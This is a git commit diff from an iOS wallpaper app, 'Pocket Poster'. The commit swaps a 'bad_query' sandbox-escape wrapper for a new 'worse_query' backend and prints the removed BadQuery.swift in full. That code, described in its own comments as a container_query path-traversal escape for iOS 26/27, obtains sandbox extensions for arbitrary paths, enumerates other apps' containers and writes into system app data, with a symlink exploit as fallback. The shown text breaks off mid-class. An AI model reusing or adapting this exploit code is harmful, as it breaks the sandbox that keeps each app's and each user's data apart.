Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
20ea111861 | ||
|
|
4c7d968d49 | ||
|
|
2472fdc48b |
No files matched your search
+4
-1
@@ -1 +1,4 @@
|
|||||||
/build
|
/build/
|
||||||
|
.DS_Store
|
||||||
|
xcuserdata/
|
||||||
|
*.xcuserstate
|
||||||
@@ -23,6 +23,8 @@
|
|||||||
membershipExceptions = (
|
membershipExceptions = (
|
||||||
Exploit/bad_query.h,
|
Exploit/bad_query.h,
|
||||||
"Exploit/Pocket-Poster-Bridging-Header.h",
|
"Exploit/Pocket-Poster-Bridging-Header.h",
|
||||||
|
Exploit/pathleak.h,
|
||||||
|
Exploit/worse_query.h,
|
||||||
"Exploit/xpc_crash.h",
|
"Exploit/xpc_crash.h",
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
@@ -287,7 +289,7 @@
|
|||||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 3;
|
CURRENT_PROJECT_VERSION = 4;
|
||||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
@@ -308,7 +310,7 @@
|
|||||||
"$(inherited)",
|
"$(inherited)",
|
||||||
"@executable_path/Frameworks",
|
"@executable_path/Frameworks",
|
||||||
);
|
);
|
||||||
MARKETING_VERSION = 3.2.2;
|
MARKETING_VERSION = 3.3.0;
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||||
@@ -324,7 +326,7 @@
|
|||||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 3;
|
CURRENT_PROJECT_VERSION = 4;
|
||||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
@@ -345,7 +347,7 @@
|
|||||||
"$(inherited)",
|
"$(inherited)",
|
||||||
"@executable_path/Frameworks",
|
"@executable_path/Frameworks",
|
||||||
);
|
);
|
||||||
MARKETING_VERSION = 3.2.2;
|
MARKETING_VERSION = 3.3.0;
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||||
|
|||||||
@@ -139,16 +139,16 @@ class CarPlayManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||||
if SymHandler.prefersBadQuery {
|
if SymHandler.prefersSandboxEscape {
|
||||||
let destPath = BadQuery.carPlayCachePath(appHash: appHash)
|
let destPath = SandboxEscape.carPlayCachePath(appHash: appHash)
|
||||||
do {
|
do {
|
||||||
try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
|
try SymHandler.writeFilesViaEscape(toDirectory: destPath, files: toRemove)
|
||||||
// remove local staging copies after successful write
|
// remove local staging copies after successful write
|
||||||
for imgURL in toRemove {
|
for imgURL in toRemove {
|
||||||
try? FileManager.default.removeItem(at: imgURL)
|
try? FileManager.default.removeItem(at: imgURL)
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
print("bad_query CarPlay failed, falling back to symlink: \(error)")
|
print("worse_query CarPlay failed, falling back to symlink: \(error)")
|
||||||
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
let _ = try SymHandler.createAppSymlink(for: cacheRel)
|
||||||
for imgURL in toRemove {
|
for imgURL in toRemove {
|
||||||
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
|
||||||
|
|||||||
@@ -51,11 +51,11 @@ class PosterBoardManager: ObservableObject {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
|
/// Wipe PosterBoard custom descriptor collections using worse_query (real delete).
|
||||||
/// Falls back to language-toggle trick on older exploit path.
|
/// Falls back to language-toggle trick on older exploit path.
|
||||||
func resetCollections(appHash: String) throws {
|
func resetCollections(appHash: String) throws {
|
||||||
if SymHandler.prefersBadQuery {
|
if SymHandler.prefersSandboxEscape {
|
||||||
try wipeDescriptorsViaBadQuery(appHash: appHash)
|
try wipeDescriptorsViaEscape(appHash: appHash)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -69,18 +69,23 @@ class PosterBoardManager: ObservableObject {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
|
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
|
||||||
private func wipeDescriptorsViaBadQuery(appHash: String) throws {
|
private func wipeDescriptorsViaEscape(appHash: String) throws {
|
||||||
let ver = SymHandler.getExtensionVersion()
|
let ver = SymHandler.getExtensionVersion()
|
||||||
let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
|
let extensionsRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
|
||||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
|
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
|
||||||
|
|
||||||
// Open parent with sandbox extension
|
// Open parent with sandbox extension. A missing path simply means there
|
||||||
let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
|
// is nothing to wipe yet.
|
||||||
|
guard let rootHandle = try? SandboxEscape.consume(path: extensionsRoot, create: true) else {
|
||||||
|
if !SandboxEscape.isAvailable {
|
||||||
|
throw SandboxEscapeError.unavailable
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
defer { rootHandle.release() }
|
defer { rootHandle.release() }
|
||||||
|
|
||||||
let fm = FileManager.default
|
let fm = FileManager.default
|
||||||
guard fm.fileExists(atPath: extensionsRoot) else {
|
guard fm.fileExists(atPath: extensionsRoot) else {
|
||||||
// Nothing to wipe — treat as success (collections already empty / never set up)
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -92,7 +97,7 @@ class PosterBoardManager: ObservableObject {
|
|||||||
.appending("/descriptors")
|
.appending("/descriptors")
|
||||||
|
|
||||||
// Ensure we hold an extension on the descriptors dir itself
|
// Ensure we hold an extension on the descriptors dir itself
|
||||||
let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
|
let descHandle = try? SandboxEscape.consume(path: descriptorsPath, create: true)
|
||||||
defer { descHandle?.release() }
|
defer { descHandle?.release() }
|
||||||
|
|
||||||
guard fm.fileExists(atPath: descriptorsPath) else { continue }
|
guard fm.fileExists(atPath: descriptorsPath) else { continue }
|
||||||
@@ -273,9 +278,9 @@ class PosterBoardManager: ObservableObject {
|
|||||||
SymHandler.cleanup()
|
SymHandler.cleanup()
|
||||||
}
|
}
|
||||||
|
|
||||||
let useBadQuery = SymHandler.prefersBadQuery
|
let useSandboxEscape = SymHandler.prefersSandboxEscape
|
||||||
if useBadQuery {
|
if useSandboxEscape {
|
||||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
|
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "worse_query sandbox escape…")
|
||||||
}
|
}
|
||||||
|
|
||||||
for (ext, descriptorsList) in extList {
|
for (ext, descriptorsList) in extList {
|
||||||
@@ -289,13 +294,13 @@ class PosterBoardManager: ObservableObject {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if useBadQuery {
|
if useSandboxEscape {
|
||||||
// iOS 26/27: direct write via container_query sandbox extension
|
// iOS 26/27: direct write via the container_query sandbox extension
|
||||||
do {
|
do {
|
||||||
try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
|
try SymHandler.writeDescriptorsViaEscape(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
|
||||||
} catch {
|
} catch {
|
||||||
// Fall back to legacy .Trash symlink if bad_query path fails
|
// Fall back to legacy .Trash symlink if the escape path fails
|
||||||
print("bad_query apply failed, falling back to symlink: \(error)")
|
print("worse_query apply failed, falling back to symlink: \(error)")
|
||||||
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -34,9 +34,9 @@ class SymHandler {
|
|||||||
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
|
/// Prefer worse_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
|
||||||
static var prefersBadQuery: Bool {
|
static var prefersSandboxEscape: Bool {
|
||||||
BadQuery.isAvailable
|
SandboxEscape.isAvailable
|
||||||
}
|
}
|
||||||
|
|
||||||
// MARK: Symlink Creation (legacy exploit for older iOS)
|
// MARK: Symlink Creation (legacy exploit for older iOS)
|
||||||
@@ -69,19 +69,20 @@ class SymHandler {
|
|||||||
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
|
||||||
}
|
}
|
||||||
|
|
||||||
// MARK: Direct write via bad_query
|
// MARK: Direct write via worse_query
|
||||||
|
|
||||||
/// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
|
/// Copy descriptor folders into PosterBoard descriptors using the sandbox escape.
|
||||||
static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
|
static func writeDescriptorsViaEscape(appHash: String, ext: String, descriptorFolders: [URL]) throws {
|
||||||
let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
|
let destPath = SandboxEscape.descriptorsPath(appHash: appHash, ext: ext)
|
||||||
print("bad_query writing to \(destPath)")
|
print("worse_query writing to \(destPath)")
|
||||||
|
|
||||||
// Ensure descriptors directory exists (open parent chain if needed)
|
// Make sure the extension data store exists (PosterBoard creates it on boot).
|
||||||
try BadQuery.ensureDirectory(at: destPath)
|
let containerRoot = SandboxEscape.applicationContainerPath(appHash: appHash)
|
||||||
|
try SandboxEscape.ensureDirectory(at: destPath, containerRoot: containerRoot)
|
||||||
let handle = try BadQuery.consume(path: destPath, create: true)
|
|
||||||
|
let handle = try SandboxEscape.consume(path: destPath, create: true)
|
||||||
defer { handle.release() }
|
defer { handle.release() }
|
||||||
|
|
||||||
let fm = FileManager.default
|
let fm = FileManager.default
|
||||||
for descr in descriptorFolders {
|
for descr in descriptorFolders {
|
||||||
guard descr.lastPathComponent != "__MACOSX" else { continue }
|
guard descr.lastPathComponent != "__MACOSX" else { continue }
|
||||||
@@ -93,13 +94,13 @@ class SymHandler {
|
|||||||
try fm.copyItem(at: descr, to: destURL)
|
try fm.copyItem(at: descr, to: destURL)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Copy files into an absolute directory under an app container via bad_query.
|
/// Copy files into an absolute directory under an app container via worse_query.
|
||||||
static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
|
static func writeFilesViaEscape(toDirectory destPath: String, files: [URL]) throws {
|
||||||
try BadQuery.ensureDirectory(at: destPath)
|
try SandboxEscape.ensureDirectory(at: destPath)
|
||||||
let handle = try BadQuery.consume(path: destPath, create: true)
|
let handle = try SandboxEscape.consume(path: destPath, create: true)
|
||||||
defer { handle.release() }
|
defer { handle.release() }
|
||||||
|
|
||||||
let fm = FileManager.default
|
let fm = FileManager.default
|
||||||
for file in files {
|
for file in files {
|
||||||
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
|
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
|
||||||
|
|||||||
@@ -1,282 +0,0 @@
|
|||||||
//
|
|
||||||
// BadQuery.swift
|
|
||||||
// Pocket Poster
|
|
||||||
//
|
|
||||||
// Swift wrapper around forcequitOS/bad_query sandbox escape
|
|
||||||
// (container_query path traversal via MobileGestalt SystemGroup).
|
|
||||||
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
|
|
||||||
//
|
|
||||||
|
|
||||||
import Foundation
|
|
||||||
|
|
||||||
enum BadQueryError: LocalizedError {
|
|
||||||
case invalidPath
|
|
||||||
case missingPath
|
|
||||||
case resolveFailed
|
|
||||||
case createFailed
|
|
||||||
case outsideSandbox
|
|
||||||
case kernelRejected
|
|
||||||
case asprintfFailed
|
|
||||||
case unknown(Int64)
|
|
||||||
case listFailed
|
|
||||||
case containerNotFound(String)
|
|
||||||
|
|
||||||
var errorDescription: String? {
|
|
||||||
switch self {
|
|
||||||
case .invalidPath:
|
|
||||||
return "Path must be absolute."
|
|
||||||
case .missingPath:
|
|
||||||
return "Target path does not exist."
|
|
||||||
case .resolveFailed:
|
|
||||||
return "Failed to resolve containermanager symbols."
|
|
||||||
case .createFailed:
|
|
||||||
return "Failed to create container query."
|
|
||||||
case .outsideSandbox:
|
|
||||||
return "Path is outside containermanager sandbox."
|
|
||||||
case .kernelRejected:
|
|
||||||
return "Kernel refused to issue a sandbox extension."
|
|
||||||
case .asprintfFailed:
|
|
||||||
return "Failed to build path traversal string."
|
|
||||||
case .unknown(let code):
|
|
||||||
return "bad_query failed with code \(code)."
|
|
||||||
case .listFailed:
|
|
||||||
return "Failed to enumerate containers (fsgetpath)."
|
|
||||||
case .containerNotFound(let bundleId):
|
|
||||||
return "Could not find container for \(bundleId)."
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static func from(code: Int64) -> BadQueryError {
|
|
||||||
switch code {
|
|
||||||
case -255: return .invalidPath
|
|
||||||
case -254: return .missingPath
|
|
||||||
case -1: return .resolveFailed
|
|
||||||
case -2: return .createFailed
|
|
||||||
case -3: return .outsideSandbox
|
|
||||||
case -4: return .kernelRejected
|
|
||||||
case -5: return .asprintfFailed
|
|
||||||
default: return .unknown(code)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// RAII-style sandbox extension handle.
|
|
||||||
final class BadQueryHandle {
|
|
||||||
private(set) var handle: Int64
|
|
||||||
let path: String
|
|
||||||
|
|
||||||
init(handle: Int64, path: String) {
|
|
||||||
self.handle = handle
|
|
||||||
self.path = path
|
|
||||||
}
|
|
||||||
|
|
||||||
deinit {
|
|
||||||
release()
|
|
||||||
}
|
|
||||||
|
|
||||||
func release() {
|
|
||||||
guard handle >= 0 else { return }
|
|
||||||
bad_query_release(handle)
|
|
||||||
handle = -1
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
enum BadQuery {
|
|
||||||
/// PosterBoard / related bundle identifiers.
|
|
||||||
static let posterBoardBundleId = "com.apple.PosterBoard"
|
|
||||||
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
|
||||||
|
|
||||||
// MARK: - Availability
|
|
||||||
|
|
||||||
/// True when the MobileGestalt system-group query route resolves symbols.
|
|
||||||
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
|
|
||||||
static var isAvailable: Bool {
|
|
||||||
// Probe with a path that should always exist on device; create=true skips lstat
|
|
||||||
// so we only fail if symbols/query plumbing is broken (patched OS).
|
|
||||||
let probe = "/var/mobile"
|
|
||||||
var cPath = probe.utf8CString.map { Int8($0) }
|
|
||||||
let result = bad_query(&cPath, true, nil, false)
|
|
||||||
if result >= 0 {
|
|
||||||
bad_query_release(result)
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// -3/-4 mean query ran but path/token failed; symbols still work
|
|
||||||
if result == -3 || result == -4 || result == -254 {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// -1/-2 = symbols/query broken
|
|
||||||
return result != -1 && result != -2
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - Consume / Release
|
|
||||||
|
|
||||||
/// Obtain a sandbox extension for an absolute path.
|
|
||||||
/// - Parameters:
|
|
||||||
/// - path: Absolute filesystem path
|
|
||||||
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
|
|
||||||
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
|
|
||||||
/// - isGroup: iOS 26 App Group flag route
|
|
||||||
@discardableResult
|
|
||||||
static func consume(
|
|
||||||
path: String,
|
|
||||||
create: Bool = false,
|
|
||||||
groupIdentifier: String? = nil,
|
|
||||||
isGroup: Bool = false
|
|
||||||
) throws -> BadQueryHandle {
|
|
||||||
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
|
|
||||||
|
|
||||||
var cPath = path.utf8CString.map { Int8($0) }
|
|
||||||
let handle: Int64
|
|
||||||
if let group = groupIdentifier {
|
|
||||||
var cGroup = group.utf8CString.map { Int8($0) }
|
|
||||||
handle = bad_query(&cPath, create, &cGroup, isGroup)
|
|
||||||
} else {
|
|
||||||
handle = bad_query(&cPath, create, nil, isGroup)
|
|
||||||
}
|
|
||||||
|
|
||||||
guard handle >= 0 else {
|
|
||||||
// Retry with create=true if existence check failed under sandbox
|
|
||||||
if !create && handle == -254 {
|
|
||||||
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
|
|
||||||
}
|
|
||||||
throw BadQueryError.from(code: handle)
|
|
||||||
}
|
|
||||||
return BadQueryHandle(handle: handle, path: path)
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - Listing
|
|
||||||
|
|
||||||
/// Enumerate immediate children under `path` via fsgetpath inode scan.
|
|
||||||
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
|
|
||||||
var cPath = path.utf8CString.map { Int8($0) }
|
|
||||||
guard let raw = bad_query_list(&cPath, maxInode) else {
|
|
||||||
throw BadQueryError.listFailed
|
|
||||||
}
|
|
||||||
defer { free(raw) }
|
|
||||||
let str = String(cString: raw)
|
|
||||||
return str
|
|
||||||
.split(whereSeparator: \.isNewline)
|
|
||||||
.map(String.init)
|
|
||||||
.filter { !$0.isEmpty }
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - Container discovery
|
|
||||||
|
|
||||||
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
|
||||||
|
|
||||||
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
|
|
||||||
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
|
||||||
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
|
|
||||||
guard let token = try? consume(path: metaPath, create: true) else { return nil }
|
|
||||||
defer { token.release() }
|
|
||||||
|
|
||||||
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
|
|
||||||
// Some layouts use a non-hidden name
|
|
||||||
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
|
|
||||||
if let altToken = try? consume(path: alt, create: true) {
|
|
||||||
defer { altToken.release() }
|
|
||||||
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
|
|
||||||
return d["MCMMetadataIdentifier"] as? String
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return dict["MCMMetadataIdentifier"] as? String
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Find application container UUID for a bundle identifier (on-device, no PC).
|
|
||||||
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
|
||||||
let roots = searchRoots ?? [
|
|
||||||
"/var/mobile/Containers/Data/Application",
|
|
||||||
"/var/mobile/Containers/Data/InternalDaemon",
|
|
||||||
"/var/mobile/Containers/Data/PluginKitPlugin"
|
|
||||||
]
|
|
||||||
|
|
||||||
for root in roots {
|
|
||||||
let children: [String]
|
|
||||||
do {
|
|
||||||
children = try list(path: root)
|
|
||||||
} catch {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
for child in children {
|
|
||||||
let uuid = (child as NSString).lastPathComponent
|
|
||||||
// Normalize to the root we know
|
|
||||||
let containerPath = "\(root)/\(uuid)"
|
|
||||||
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
|
|
||||||
return uuid
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
throw BadQueryError.containerNotFound(targetBundleId)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func findPosterBoardHash() throws -> String {
|
|
||||||
try findAppHash(bundleId: posterBoardBundleId)
|
|
||||||
}
|
|
||||||
|
|
||||||
static func findCarPlayHash() throws -> String {
|
|
||||||
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - Path helpers
|
|
||||||
|
|
||||||
static func applicationContainerPath(appHash: String) -> String {
|
|
||||||
"/var/mobile/Containers/Data/Application/\(appHash)"
|
|
||||||
}
|
|
||||||
|
|
||||||
static func descriptorsPath(appHash: String, ext: String) -> String {
|
|
||||||
let ver = SymHandler.getExtensionVersion()
|
|
||||||
return applicationContainerPath(appHash: appHash)
|
|
||||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
|
|
||||||
}
|
|
||||||
|
|
||||||
static func carPlayCachePath(appHash: String) -> String {
|
|
||||||
applicationContainerPath(appHash: appHash)
|
|
||||||
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - File ops under extension
|
|
||||||
|
|
||||||
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
|
|
||||||
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
|
|
||||||
let destName = name ?? source.lastPathComponent
|
|
||||||
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
|
|
||||||
let fm = FileManager.default
|
|
||||||
if fm.fileExists(atPath: destURL.path) {
|
|
||||||
try fm.removeItem(at: destURL)
|
|
||||||
}
|
|
||||||
try fm.copyItem(at: source, to: destURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Ensure a directory exists at path while holding a parent extension if needed.
|
|
||||||
static func ensureDirectory(at path: String) throws {
|
|
||||||
let fm = FileManager.default
|
|
||||||
if fm.fileExists(atPath: path) { return }
|
|
||||||
|
|
||||||
// Walk up to find an existing ancestor we can open, then create intermediates
|
|
||||||
let components = path.split(separator: "/").map(String.init)
|
|
||||||
var built = ""
|
|
||||||
var lastExisting = ""
|
|
||||||
for part in components {
|
|
||||||
built += "/" + part
|
|
||||||
if fm.fileExists(atPath: built) {
|
|
||||||
lastExisting = built
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if lastExisting.isEmpty {
|
|
||||||
// Get extension on the full path with create=true and mkdir
|
|
||||||
let handle = try consume(path: path, create: true)
|
|
||||||
defer { handle.release() }
|
|
||||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
let handle = try consume(path: lastExisting, create: true)
|
|
||||||
defer { handle.release() }
|
|
||||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,5 +5,7 @@
|
|||||||
// Exposes C exploit helpers to Swift.
|
// Exposes C exploit helpers to Swift.
|
||||||
//
|
//
|
||||||
|
|
||||||
|
#import "worse_query.h"
|
||||||
|
#import "pathleak.h"
|
||||||
#import "bad_query.h"
|
#import "bad_query.h"
|
||||||
#import "xpc_crash.h"
|
#import "xpc_crash.h"
|
||||||
@@ -0,0 +1,430 @@
|
|||||||
|
//
|
||||||
|
// SandboxEscape.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Swift wrapper around forcequitOS/worse_query (iOS 26.0 – 26.7.2 / 27.0 – 27.2+).
|
||||||
|
// Falls back to the legacy bad_query route on iOS 26 when no App Group is
|
||||||
|
// available (unsigned / non-App-Group entitlements).
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import Darwin
|
||||||
|
import Security
|
||||||
|
|
||||||
|
enum SandboxEscapeError: LocalizedError {
|
||||||
|
case invalidPath
|
||||||
|
case missingPath
|
||||||
|
case noAppGroup
|
||||||
|
case unavailable
|
||||||
|
case resolveFailed
|
||||||
|
case createFailed
|
||||||
|
case symlinkFailed
|
||||||
|
case outsideSandbox
|
||||||
|
case kernelRejected
|
||||||
|
case listFailed
|
||||||
|
case containerNotFound(String)
|
||||||
|
case directoryCreateFailed(String)
|
||||||
|
case unknown(Int64)
|
||||||
|
|
||||||
|
var errorDescription: String? {
|
||||||
|
switch self {
|
||||||
|
case .invalidPath:
|
||||||
|
return "Path must be absolute."
|
||||||
|
case .missingPath:
|
||||||
|
return "Target path does not exist."
|
||||||
|
case .noAppGroup:
|
||||||
|
return "No App Group entitlement. Sign Pocket Poster with a provisioning profile that includes an App Group — worse_query needs one on iOS 27."
|
||||||
|
case .unavailable:
|
||||||
|
return "worse_query is unavailable on this OS/signing combination."
|
||||||
|
case .resolveFailed:
|
||||||
|
return "Failed to resolve containermanager symbols."
|
||||||
|
case .createFailed:
|
||||||
|
return "Failed to create the container query."
|
||||||
|
case .symlinkFailed:
|
||||||
|
return "Failed to create the App Group symlink."
|
||||||
|
case .outsideSandbox:
|
||||||
|
return "containermanager rejected the query (path outside sandbox)."
|
||||||
|
case .kernelRejected:
|
||||||
|
return "Kernel refused to issue a sandbox extension."
|
||||||
|
case .listFailed:
|
||||||
|
return "Failed to enumerate containers (fsgetpath)."
|
||||||
|
case .containerNotFound(let bundleId):
|
||||||
|
return "Could not find container for \(bundleId)."
|
||||||
|
case .directoryCreateFailed(let reason):
|
||||||
|
return "Could not create destination directory: \(reason)"
|
||||||
|
case .unknown(let code):
|
||||||
|
return "Sandbox escape failed with code \(code)."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static func fromWorseQuery(_ code: Int64) -> SandboxEscapeError {
|
||||||
|
switch code {
|
||||||
|
case -1: return .noAppGroup
|
||||||
|
case -2: return .resolveFailed
|
||||||
|
case -3: return .createFailed
|
||||||
|
case -4: return .symlinkFailed
|
||||||
|
case -5: return .outsideSandbox
|
||||||
|
case -6: return .kernelRejected
|
||||||
|
case -255: return .missingPath
|
||||||
|
default: return .unknown(code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static func fromBadQuery(_ code: Int64) -> SandboxEscapeError {
|
||||||
|
switch code {
|
||||||
|
case -255: return .invalidPath
|
||||||
|
case -254: return .missingPath
|
||||||
|
case -1: return .resolveFailed
|
||||||
|
case -2: return .createFailed
|
||||||
|
case -3: return .outsideSandbox
|
||||||
|
case -4: return .kernelRejected
|
||||||
|
case -5: return .createFailed
|
||||||
|
default: return .unknown(code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
enum SandboxEscapeBackend {
|
||||||
|
case worseQuery
|
||||||
|
case badQuery
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RAII-style sandbox extension handle.
|
||||||
|
final class SandboxEscapeHandle {
|
||||||
|
private(set) var handle: Int64
|
||||||
|
let path: String
|
||||||
|
private let backend: SandboxEscapeBackend
|
||||||
|
|
||||||
|
init(handle: Int64, path: String, backend: SandboxEscapeBackend) {
|
||||||
|
self.handle = handle
|
||||||
|
